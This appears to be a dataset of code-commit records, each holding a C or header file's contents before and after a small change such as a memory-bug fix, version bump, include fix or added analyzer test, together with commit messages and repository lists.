{"commit":"66ddcb4a5c9aec761a50975b773a6d6c907c71bd","old_file":"src\/include\/optimizer\/stats\/hll.h","new_file":"src\/include\/optimizer\/stats\/hll.h","old_contents":"#pragma once\n\n#include <cmath>\n#include <vector>\n\n#include <murmur3\/MurmurHash3.h>\n#include <libcount\/hll.h>\n\n#include \"type\/value.h\"\n#include \"common\/macros.h\"\n#include \"common\/logger.h\"\n\nnamespace peloton {\nnamespace optimizer {\n\n\/*\n * A wrapper for libcount::HLL with murmurhash3\n *\/\nclass HLL {\n public:\n\n  HLL(const int kPrecision = 8) {\n    hll_ = libcount::HLL::Create(kPrecision);\n  }\n\n  void Update(type::Value& value) {\n    hll_->Update(Hash(value));\n  }\n\n  uint64_t EstimateCardinality() {\n    uint64_t cardinality = hll_->Estimate();\n    LOG_INFO(\"Estimated cardinality with HLL: [%lu]\", cardinality);\n    return cardinality;\n  }\n\n  ~HLL() {\n    delete hll_;\n  }\n\n private:\n  libcount::HLL* hll_;\n\n  uint64_t Hash(type::Value& value) {\n    uint64_t hash[2];\n    const char* raw_value = value.ToString().c_str();\n    MurmurHash3_x64_128(raw_value, (uint64_t)strlen(raw_value), 0, hash);\n    return hash[0];\n  }\n};\n\n} \/* namespace optimizer *\/\n} \/* namespace peloton *\/\n","new_contents":"#pragma once\n\n#include <cmath>\n#include <vector>\n\n#include <murmur3\/MurmurHash3.h>\n#include <libcount\/hll.h>\n\n#include \"type\/value.h\"\n#include \"common\/macros.h\"\n#include \"common\/logger.h\"\n\nnamespace peloton {\nnamespace optimizer {\n\n\/*\n * A wrapper for libcount::HLL with murmurhash3\n *\/\nclass HLL {\n public:\n\n  HLL(const int kPrecision = 8) {\n    hll_ = libcount::HLL::Create(kPrecision);\n  }\n\n  void Update(type::Value& value) {\n    hll_->Update(Hash(value));\n  }\n\n  uint64_t EstimateCardinality() {\n    uint64_t cardinality = hll_->Estimate();\n    LOG_INFO(\"Estimated cardinality with HLL: [%lu]\", cardinality);\n    return cardinality;\n  }\n\n  ~HLL() {\n    delete hll_;\n  }\n\n private:\n  libcount::HLL* hll_;\n\n  uint64_t Hash(type::Value& value) {\n    uint64_t hash[2];\n    std::string value_str = value.ToString();\n    const char* raw_value = value_str.c_str();\n    MurmurHash3_x64_128(raw_value, (uint64_t)strlen(raw_value), 0, hash);\n    return hash[0];\n  }\n};\n\n} \/* namespace optimizer *\/\n} \/* namespace peloton *\/\n","subject":"Fix valgrind 'invalid read of size 1' bug.","message":"Fix valgrind 'invalid read of size 1' bug.\n","lang":"C","license":"apache-2.0","repos":"cmu-db\/peloton,PauloAmora\/peloton,AllisonWang\/peloton,AngLi-Leon\/peloton,AllisonWang\/peloton,cmu-db\/peloton,malin1993ml\/peloton,seojungmin\/peloton,yingjunwu\/peloton,PauloAmora\/peloton,cmu-db\/peloton,prashasthip\/peloton,haojin2\/peloton,vittvolt\/peloton,AngLi-Leon\/peloton,PauloAmora\/peloton,seojungmin\/peloton,yingjunwu\/peloton,prashasthip\/peloton,apavlo\/peloton,apavlo\/peloton,AngLi-Leon\/peloton,seojungmin\/peloton,haojin2\/peloton,AllisonWang\/peloton,PauloAmora\/peloton,seojungmin\/peloton,apavlo\/peloton,AngLi-Leon\/peloton,apavlo\/peloton,PauloAmora\/peloton,AllisonWang\/peloton,vittvolt\/peloton,prashasthip\/peloton,cmu-db\/peloton,seojungmin\/peloton,seojungmin\/peloton,malin1993ml\/peloton,vittvolt\/peloton,prashasthip\/peloton,haojin2\/peloton,haojin2\/peloton,AngLi-Leon\/peloton,AngLi-Leon\/peloton,PauloAmora\/peloton,apavlo\/peloton,cmu-db\/peloton,vittvolt\/peloton,yingjunwu\/peloton,malin1993ml\/peloton,malin1993ml\/peloton,cmu-db\/peloton,malin1993ml\/peloton,yingjunwu\/peloton,haojin2\/peloton,malin1993ml\/peloton,vittvolt\/peloton,prashasthip\/peloton,yingjunwu\/peloton,prashasthip\/peloton,AllisonWang\/peloton,yingjunwu\/peloton,AllisonWang\/peloton,vittvolt\/peloton,apavlo\/peloton,haojin2\/peloton"}
{"commit":"79dd0bf258c0636ff902ebaa8aba8ca945be5d58","old_file":"common_audio\/signal_processing\/cross_correlation.c","new_file":"common_audio\/signal_processing\/cross_correlation.c","old_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/* Unrolling doesn't seem to improve performance. *\/\n    for (j = 0; j < dim_seq; j++) {\n      \/\/ It's not clear why casting |right_shifts| here helps performance.\n      corr += (seq1[j] * seq2[j]) >> (int16_t)right_shifts;\n    }\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","new_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/* Unrolling doesn't seem to improve performance. *\/\n    for (j = 0; j < dim_seq; j++)\n      corr += (seq1[j] * seq2[j]) >> right_shifts;\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","subject":"Test whether removing a cast still hurts performance.","message":"Test whether removing a cast still hurts performance.\n\nBUG=499241\nTEST=none\nTBR=andrew\n\nReview URL: https:\/\/codereview.webrtc.org\/1206653002\n\nCr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9491}\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: 6bfc82aaf18e42fcc7328b81ffb3ec3cf360d732\n","lang":"C","license":"bsd-3-clause","repos":"sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc"}
{"commit":"a534fc0b344d474c8eb3937be1fca98ea1389878","old_file":"IntelFrameworkModulePkg\/Include\/Protocol\/Ps2Policy.h","new_file":"IntelFrameworkModulePkg\/Include\/Protocol\/Ps2Policy.h","old_contents":"","new_contents":"\/*++\r\n\r\nCopyright (c) 2006, Intel Corporation. All rights reserved. \r\nThis software and associated documentation (if any) is furnished\r\nunder a license and may only be used or copied in accordance\r\nwith the terms of the license. Except as permitted by such\r\nlicense, no part of this software or documentation may be\r\nreproduced, stored in a retrieval system, or transmitted in any\r\nform or by any means without the express written consent of\r\nIntel Corporation.\r\n\r\n\r\nModule Name:\r\n\r\n  Ps2Policy.h\r\n    \r\nAbstract:\r\n\r\n  Protocol used for PS\/2 Policy definition.\r\n\r\n--*\/\r\n\r\n#ifndef _PS2_POLICY_PROTOCOL_H_\r\n#define _PS2_POLICY_PROTOCOL_H_\r\n\r\n#define EFI_PS2_POLICY_PROTOCOL_GUID \\\r\n  { \\\r\n    0x4df19259, 0xdc71, 0x4d46, {0xbe, 0xf1, 0x35, 0x7b, 0xb5, 0x78, 0xc4, 0x18 } \\\r\n  }\r\n\r\n#define EFI_KEYBOARD_CAPSLOCK   0x0004\r\n#define EFI_KEYBOARD_NUMLOCK    0x0002\r\n#define EFI_KEYBOARD_SCROLLLOCK 0x0001\r\n\r\ntypedef\r\nEFI_STATUS\r\n(EFIAPI *EFI_PS2_INIT_HARDWARE) (\r\n  IN  EFI_HANDLE              Handle\r\n  );\r\n\r\ntypedef struct {\r\n  UINT8                 KeyboardLight;\r\n  EFI_PS2_INIT_HARDWARE Ps2InitHardware;\r\n} EFI_PS2_POLICY_PROTOCOL;\r\n\r\nextern EFI_GUID gEfiPs2PolicyProtocolGuid;\r\n\r\n#endif\r\n","subject":"Add in Ps2keyboard.inf and Ps2Mouse.inf to IntelFrameworkModuelPkg","message":"Add in Ps2keyboard.inf and Ps2Mouse.inf to IntelFrameworkModuelPkg\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3113 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"03a7507e13b84eb3ddd6fad31832e99825977895","old_file":"Include\/SQLiteDatabaseHelper\/SQLiteDatabaseHelper.h","new_file":"Include\/SQLiteDatabaseHelper\/SQLiteDatabaseHelper.h","old_contents":"\/\/\n\/\/ SQLiteDatabaseHelper\n\/\/ Include\/SQLiteDatabaseHelper.h\n\/\/\n#ifndef __SQLITEDATABASEHELPER_H__\n#define __SQLITEDATABASEHELPER_H__\n\n#include <stdio.h>\n\n#include <sqlite3.h>\n\n#endif","new_contents":"\/\/\n\/\/ SQLiteDatabaseHelper\n\/\/ Include\/SQLiteDatabaseHelper.h\n\/\/\n#ifndef __SQLITEDATABASEHELPER_H__\n#define __SQLITEDATABASEHELPER_H__\n\n#include <SQLiteDatabaseHelper\/Operations\/Read\/DatabaseReader.h>\n\n#endif","subject":"Include database reader in main library header","message":"Include database reader in main library header\n\nSigned-off-by: Gigabyte-Giant <a7441177296edab3db25b9cdf804d04c1ff0afbf@hotmail.com>\n","lang":"C","license":"mit","repos":"Gigabyte-Giant\/SQLiteDatabaseHelper"}
{"commit":"5470369e38e497c1eade1b3171a288415be6d0fd","old_file":"include\/atoms\/numeric\/rolling_average.h","new_file":"include\/atoms\/numeric\/rolling_average.h","old_contents":"#pragma once\n\n\/\/ This file is part of 'Atoms' library - https:\/\/github.com\/yaqwsx\/atoms\n\/\/ Author: Jan 'yaqwsx' Mrzek\n\n#include <array>\n#include <initializer_list>\n#include <algorithm>\n\nnamespace atoms {\n\ntemplate <class T, size_t SIZE>\nclass RollingAverage {\npublic:\n    RollingAverage() : sum(0), index(0)\n    {\n        std::fill(values.begin(), values.end(), T(0));\n    };\n\n    RollingAverage(const std::initializer_list<T>& l) : sum(0), index(0)\n    {\n        std::copy(l.begin(), l.end(), values.begin());\n    }\n\n    void push(const T& t) {\n        sum += t - values[index];\n        values[index] = t;\n        index++;\n        if (index == SIZE)\n            index = 0;\n    }\n\n    T get_average() {\n        return sum \/ T(SIZE);\n    }\n\n    T get_sum() {\n        return sum;\n    }\nprivate:\n    std::array<T, SIZE> values;\n    T sum;\n    size_t index;\n};\n\n}","new_contents":"#pragma once\n\n\/\/ This file is part of 'Atoms' library - https:\/\/github.com\/yaqwsx\/atoms\n\/\/ Author: Jan 'yaqwsx' Mrázek\n\n#include <array>\n#include <initializer_list>\n#include <algorithm>\n\nnamespace atoms {\n\ntemplate <class T, size_t SIZE>\nclass RollingAverage {\npublic:\n    RollingAverage() : sum(0), index(0)\n    {\n        std::fill(values.begin(), values.end(), T(0));\n    };\n\n    void push(const T& t) {\n        sum += t - values[index];\n        values[index] = t;\n        index++;\n        if (index == SIZE)\n            index = 0;\n    }\n\n    T get_average() {\n        return sum \/ T(SIZE);\n    }\n\n    T get_sum() {\n        return sum;\n    }\n\n    void clear(T t = 0) {\n        std::fill(values.begin(), values.end(), t);\n        sum = t * SIZE;\n    }\n    \nprivate:\n    std::array<T, SIZE> values;\n    T sum;\n    size_t index;\n};\n\n}\n","subject":"Add clear() and delete constructor with initializer_list","message":"RollingAverage: Add clear() and delete constructor with initializer_list","lang":"C","license":"mit","repos":"yaqwsx\/atoms"}
{"commit":"a14862fa4b0f730b9bfcc291b33c0dc6c1fac2ad","old_file":"tests\/regression\/34-congruence\/04-casting.c","new_file":"tests\/regression\/34-congruence\/04-casting.c","old_contents":"","new_contents":"\/\/ PARAM: --disable ana.int.def_exc --enable ana.int.interval\n\/\/ Ensures that the cast_to function handles casting for congruences correctly.\n\/\/ TODO: Implement appropriate cast_to function, enable for congruences only and adjust test if necessary.\n#include <assert.h>\n#include <stdio.h>\n\nint main(){\n  int c = 128;\n  for (int i = 0; i < 1; i++) {\n      c = c - 150;\n   }\n  char k = (char) c;\n  printf (\"k: %d\", k);\n  assert (k == -22); \/\/UNKNOWN\n\n  k = k + 150;\n  assert (k == 0); \/\/UNKNOWN!\n\n}\n","subject":"Add (deactivated) casting test for congruence domain","message":"Add (deactivated) casting test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"94313f9165a71469ca5cfa0078f8060947fee781","old_file":"src\/cubeb-speex-resampler.h","new_file":"src\/cubeb-speex-resampler.h","old_contents":"#define OUTSIDE_SPEEX\r\n#define RANDOM_PREFIX cubeb\r\n#define FLOATING_POINT\r\n#include <speex\/speex_resampler.h>\r\n","new_contents":"#include <speex\/speex_resampler.h>\n","subject":"Revert \"Force being outside speex.\"","message":"Revert \"Force being outside speex.\"\n\nThis reverts commit 356ee9e85ca2f5999cfa18f356b103dffe09fbbd.\n","lang":"C","license":"isc","repos":"padenot\/cubeb,padenot\/cubeb,ieei\/cubeb,ieei\/cubeb,kinetiknz\/cubeb,kinetiknz\/cubeb,padenot\/cubeb,kinetiknz\/cubeb"}
{"commit":"c581851a1839a63c4873ed632a62982d1c8bb6d0","old_file":"src\/helpers\/number_helper.h","new_file":"src\/helpers\/number_helper.h","old_contents":"\/*\n * *****************************************************************************\n *   Copyright 2014 Spectra Logic Corporation. All Rights Reserved.\n *   Licensed under the Apache License, Version 2.0 (the \"License\"). You may not\n *   use this file except in compliance with the License. A copy of the License\n *   is located at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   or in the \"license\" file accompanying this file.\n *   This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n *   CONDITIONS OF ANY KIND, either express or implied. See the License for the\n *   specific language governing permissions and limitations under the License.\n * *****************************************************************************\n *\/\n\n#ifndef NUMBER_HELPER_H\n#define NUMBER_HELPER_H\n\n#include <QString>\n\nclass NumberHelper\n{\npublic:\n\tstatic const uint64_t B;\n\tstatic const uint64_t KB;\n\tstatic const uint64_t MB;\n\tstatic const uint64_t GB;\n\tstatic const uint64_t TB;\n\n\tstatic QString ToHumanSize(uint64_t bytes);\n};\n\n#endif\n","new_contents":"\/*\n * *****************************************************************************\n *   Copyright 2014 Spectra Logic Corporation. All Rights Reserved.\n *   Licensed under the Apache License, Version 2.0 (the \"License\"). You may not\n *   use this file except in compliance with the License. A copy of the License\n *   is located at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   or in the \"license\" file accompanying this file.\n *   This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n *   CONDITIONS OF ANY KIND, either express or implied. See the License for the\n *   specific language governing permissions and limitations under the License.\n * *****************************************************************************\n *\/\n\n#ifndef NUMBER_HELPER_H\n#define NUMBER_HELPER_H\n\n#include <stdint.h>\n#include <QString>\n\nclass NumberHelper\n{\npublic:\n\tstatic const uint64_t B;\n\tstatic const uint64_t KB;\n\tstatic const uint64_t MB;\n\tstatic const uint64_t GB;\n\tstatic const uint64_t TB;\n\n\tstatic QString ToHumanSize(uint64_t bytes);\n};\n\n#endif\n","subject":"Fix windows build by requiring stdint.h","message":"Fix windows build by requiring stdint.h\n","lang":"C","license":"apache-2.0","repos":"Klopsch\/ds3_browser,Klopsch\/ds3_browser,SpectraLogic\/ds3_browser,SpectraLogic\/ds3_browser,SpectraLogic\/ds3_browser,Klopsch\/ds3_browser"}
{"commit":"f3929daf7f2223913e226686cd4078a73849057c","old_file":"test\/Analysis\/uninit-vals.c","new_file":"test\/Analysis\/uninit-vals.c","old_contents":"\/\/ RUN: clang-cc -analyze -warn-uninit-values -verify %s\n\nint f1() {\n  int x;\n  return x; \/\/ expected-warning {{use of uninitialized variable}}\n}\n\nint f2(int x) {\n  int y;\n  int z = x + y; \/\/ expected-warning {{use of uninitialized variable}}\n  return z;\n}\n\n\nint f3(int x) {\n  int y;\n  return x ? 1 : y; \/\/ expected-warning {{use of uninitialized variable}}\n}\n\nint f4(int x) {\n  int y;\n  if (x) y = 1;\n  return y; \/\/ expected-warning {{use of uninitialized variable}}\n}\n\nint f5() {\n  int a;\n  a = 30; \/\/ no-warning\n}\n\nvoid f6(int i) {\n  int x;\n  for (i = 0 ; i < 10; i++)\n    printf(\"%d\",x++); \/\/ expected-warning {{use of uninitialized variable}} \\\n  \/\/ expected-warning{{implicitly declaring C library function 'printf' with type 'int (char const *, ...)'}} \\\n  \/\/ expected-note{{please include the header <stdio.h> or explicitly provide a declaration for 'printf'}}\n}\n\nvoid f7(int i) {\n  int x = i;\n  int y;\n  for (i = 0; i < 10; i++ ) {\n    printf(\"%d\",x++); \/\/ no-warning\n    x += y; \/\/ expected-warning {{use of uninitialized variable}}\n  }\n}\n","new_contents":"\/\/ RUN: clang-cc -analyze -warn-uninit-values -verify %s\n\nint f1() {\n  int x;\n  return x; \/\/ expected-warning {{use of uninitialized variable}}\n}\n\nint f2(int x) {\n  int y;\n  int z = x + y; \/\/ expected-warning {{use of uninitialized variable}}\n  return z;\n}\n\n\nint f3(int x) {\n  int y;\n  return x ? 1 : y; \/\/ expected-warning {{use of uninitialized variable}}\n}\n\nint f4(int x) {\n  int y;\n  if (x) y = 1;\n  return y; \/\/ expected-warning {{use of uninitialized variable}}\n}\n\nint f5() {\n  int a;\n  a = 30; \/\/ no-warning\n}\n\nvoid f6(int i) {\n  int x;\n  for (i = 0 ; i < 10; i++)\n    printf(\"%d\",x++); \/\/ expected-warning {{use of uninitialized variable}} \\\n  \/\/ expected-warning{{implicitly declaring C library function 'printf' with type 'int (char const *, ...)'}} \\\n  \/\/ expected-note{{please include the header <stdio.h> or explicitly provide a declaration for 'printf'}}\n}\n\nvoid f7(int i) {\n  int x = i;\n  int y;\n  for (i = 0; i < 10; i++ ) {\n    printf(\"%d\",x++); \/\/ no-warning\n    x += y; \/\/ expected-warning {{use of uninitialized variable}}\n  }\n}\n\nint f8(int j) {\n  int x = 1, y = x + 1;\n  if (y) \/\/ no-warning\n    return x;\n  return y;\n}\n","subject":"Add another uninitialized values test case illustrating that the CFG correctly handles declarations with multiple variables.","message":"Add another uninitialized values test case illustrating that the CFG correctly\nhandles declarations with multiple variables.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@68046 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"2dcb0a61041a003f439bbd38005b6e454c368be0","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k5\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k6\"\n","subject":"Update driver version to 5.02.00-k6","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k6\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@suse.de>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"efb6c717b764e77cadc20bc9d9ffdf16bc1eedf5","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k17\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k18\"\n","subject":"Update driver version to 5.02.00-k18","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k18\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"9630f9b1653188a4173dc633fd55840ae918ca4e","old_file":"src\/Tomighty\/Core\/UI\/TYAppUI.h","new_file":"src\/Tomighty\/Core\/UI\/TYAppUI.h","old_contents":"\/\/\n\/\/  Tomighty - http:\/\/www.tomighty.org\n\/\/\n\/\/  This software is licensed under the Apache License Version 2.0:\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol TYAppUI <NSObject>\n\n- (void)switchToIdleState;\n- (void)switchToPomodoroState;\n- (void)switchToShortBreakState;\n- (void)switchToLongBreakState;\n- (void)updateRemainingTime:(int)remainingSeconds;\n- (void)updatePomodoroCount:(int)count;\n- (void)handlePrerencesChange:(NSString*)which;\n\n@end\n","new_contents":"\/\/\n\/\/  Tomighty - http:\/\/www.tomighty.org\n\/\/\n\/\/  This software is licensed under the Apache License Version 2.0:\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol TYAppUI <NSObject>\n\n- (void)switchToIdleState;\n- (void)switchToPomodoroState;\n- (void)switchToShortBreakState;\n- (void)switchToLongBreakState;\n- (void)updateRemainingTime:(int)remainingSeconds;\n- (void)updatePomodoroCount:(int)count;\n\n@end\n","subject":"Remove preference change handler declaration.","message":"Remove preference change handler declaration.\n","lang":"C","license":"apache-2.0","repos":"ccidral\/tomighty-osx,tomighty\/tomighty-osx,ccidral\/tomighty-osx,tomighty\/tomighty-osx,ccidral\/tomighty-osx"}
{"commit":"5a2a1f8179035de5e5a46b5731955598077c93cf","old_file":"src\/arch\/arm\/armmlib\/context.c","new_file":"src\/arch\/arm\/armmlib\/context.c","old_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    25.10.2012\n *\/\n\n#include <stdint.h>\n#include <stdbool.h>\n#include <stddef.h>\n#include <assert.h>\n#include <hal\/context.h>\n\n#include <asm\/modes.h>\n#include <arm\/fpu.h>\n\n\/* In the RVCT v2.0 and above, all generated code and C library code\n * will maintain eight-byte stack alignment on external interfaces. *\/\n#define ARM_SP_ALIGNMENT 8\n\nvoid context_init(struct context *ctx, unsigned int flags,\n\t\tvoid (*routine_fn)(void), void *sp) {\n\tctx->lr = (uint32_t) routine_fn;\n\tctx->sp = (uint32_t) sp;\n\n\tassertf(((uint32_t) sp % ARM_SP_ALIGNMENT) == 0,\n\t\t\"Stack pointer is not aligned to 8 bytes.\\n\"\n\t\t\"Firstly please make sure the thread stack size is aligned to 8 bytes\"\n\t);\n\n\tctx->control = 0;\n\n\tif (!(flags & CONTEXT_PRIVELEGED)) {\n\t\tctx->control |= CONTROL_NPRIV;\n\t}\n\n\tarm_fpu_context_init(&ctx->fpu_data);\n}\n\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    25.10.2012\n *\/\n\n#include <stdint.h>\n#include <stdbool.h>\n#include <stddef.h>\n#include <assert.h>\n#include <hal\/context.h>\n\n#include <asm\/modes.h>\n#include <arm\/fpu.h>\n\n\/* In the RVCT v2.0 and above, all generated code and C library code\n * will maintain eight-byte stack alignment on external interfaces. *\/\n#define ARM_SP_ALIGNMENT 8\n\nvoid context_init(struct context *ctx, unsigned int flags,\n\t\tvoid (*routine_fn)(void), void *sp) {\n\tctx->lr = (uint32_t) routine_fn;\n\tctx->sp = (uint32_t) sp;\n\n\tassertf(((uint32_t) sp % ARM_SP_ALIGNMENT) == 0,\n\t\t\"Stack pointer is not aligned to 8 bytes.\\n\"\n\t\t\"Firstly please make sure the thread stack size is aligned to 8 bytes\"\n\t);\n\n\tctx->control = CONTROL_SPSEL_PSP;\n\n\tif (!(flags & CONTEXT_PRIVELEGED)) {\n\t\tctx->control |= CONTROL_NPRIV;\n\t}\n\n\tarm_fpu_context_init(&ctx->fpu_data);\n}\n\n","subject":"Use PSP for all threads","message":"cortex-m: Use PSP for all threads\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"10b850b59e13bda075aee09822ca62d1431c57a0","old_file":"src\/soft\/integer\/floatuntidf.c","new_file":"src\/soft\/integer\/floatuntidf.c","old_contents":"\/* This file is part of Metallic, a runtime library for WebAssembly.\n *\n * Copyright (C) 2018 Chen-Pang He <chen.pang.he@jdh8.org>\n *\n * This Source Code Form is subject to the terms of the Mozilla\n * Public License v. 2.0. If a copy of the MPL was not distributed\n * with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n *\/\n#include \"floatuntidf.h\"\n\ndouble __floatuntidf(unsigned __int128 a)\n{\n    return __floatuntidf(a);\n}\n","new_contents":"\/* This file is part of Metallic, a runtime library for WebAssembly.\n *\n * Copyright (C) 2018 Chen-Pang He <chen.pang.he@jdh8.org>\n *\n * This Source Code Form is subject to the terms of the Mozilla\n * Public License v. 2.0. If a copy of the MPL was not distributed\n * with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n *\/\n#include \"floatuntidf.h\"\n\ndouble __floatuntidf(unsigned __int128 a)\n{\n    return _floatuntidf(a);\n}\n","subject":"Fix a typo which causes infinite recursion","message":"Fix a typo which causes infinite recursion\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"ea835b91ccfe55cab867f2aa1416385c0f769e21","old_file":"sources\/CWSCore.h","new_file":"sources\/CWSCore.h","old_contents":"\/\/\n\/\/  CWSCore.h\n\/\/  yafacwesConsole\n\/\/\n\/\/  Created by Matthias Lamoureux on 13\/07\/2015.\n\/\/  Copyright (c) 2015 pinguzaph. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface CWSCore : NSObject\n\n@property (nonatomic, strong) NSString * name;\n\n@end\n","new_contents":"\/\/\n\/\/  CWSCore.h\n\/\/  yafacwesConsole\n\/\/\n\/\/  Created by Matthias Lamoureux on 13\/07\/2015.\n\/\/  Copyright (c) 2015 pinguzaph. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface CWSCore : NSObject\n\n@property (nonatomic, copy) NSString * name;\n\n@end\n","subject":"Set the NSString property to copy mode","message":"Set the NSString property to copy mode\n","lang":"C","license":"mit","repos":"letatas\/yafacwes,letatas\/yafacwes"}
